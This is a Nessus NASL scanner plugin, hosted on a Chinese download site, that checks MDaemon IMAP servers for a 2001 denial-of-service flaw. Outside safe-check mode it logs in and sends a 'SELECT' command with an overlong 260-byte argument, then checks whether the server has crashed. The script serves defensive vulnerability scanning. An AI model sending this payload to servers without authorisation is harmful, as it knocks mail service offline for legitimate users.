⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mdaemon_imap_server_dos2.nasl

📁 漏洞扫描源码,可以扫描linux,windows,交换机路由器
💻 NASL
字号:
##  This script was written by David Maciejak <david dot maciejak at kyxar dot fr>#  based on work from#  (C) Tenable Network Security##  Ref: <nitr0s@hotmail.com>##  This script is released under the GNU GPL v2if(description){ script_id(14827); script_bugtraq_id(2508); script_version ("$Revision: 38 $"); script_cve_id("CVE-2001-0584");  name["english"] = "MDaemon imap server DoS(2)"; script_name(english:name["english"]);  desc["english"] = "The remote host is running the MDaemon IMAP server.It is possible to crash the remote version of this software by by sending a too long argument to the 'SELECT' or 'EXAMINE' commands.This problem allows an attacker to make the remote service crash, thus preventing legitimate users  from receiving e-mails.Solution : Upgrade to newest version of this softwareRisk factor : High"; script_description(english:desc["english"]);  summary["english"] = "Crashes the remote imap server"; script_summary(english:summary["english"]);  script_category(ACT_MIXED_ATTACK); script_copyright(english:"This script is Copyright (C) 2004 David Maciejak"); family["english"] = "Denial of Service"; family["francais"] = "D閚i de service"; script_family(english:family["english"], francais:family["francais"]); script_dependencie("find_service.nes", "sendmail_expn.nasl"); script_require_ports("Services/imap", 143); exit(0);}## The script code starts here#include("imap_func.inc");port = get_kb_item("Services/imap");if(!port)port = 143;acct = get_kb_item("imap/login");pass = get_kb_item("imap/password");safe_checks = 0;if((acct == "")||(pass == ""))safe_checks = 1;if ( safe_checks() ) safe_checks = 1;if ( safe_checks ){ banner = get_imap_banner ( port:port ); if ( ! banner ) exit(0); #* OK company.mail IMAP4rev1 MDaemon 3.5.6 ready if(ereg(pattern:".* IMAP4.* MDaemon ([0-5]\.|6\.[0-7]\.) ready", string:banner)) security_hole(port); exit(0);}if(get_port_state(port)){ soc = open_sock_tcp(port); if(soc) {    banner = recv_line(socket:soc, length:4096);    if ("MDaemon" >!< banner ) exit(0);    #need a valid account to test this issue    s = string("? LOGIN ", acct, " ", pass, "\r\n");    send(socket:soc, data:s);    d = recv_line(socket:soc, length:4096);          s = string("? SELECT ", crap(260), "\r\n");    send(socket:soc, data:s);    d = recv_line(socket:soc, length:4096);          close(soc);      soc2 = open_sock_tcp(port);    if(!soc2)security_hole(port);    else close(soc2); }}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -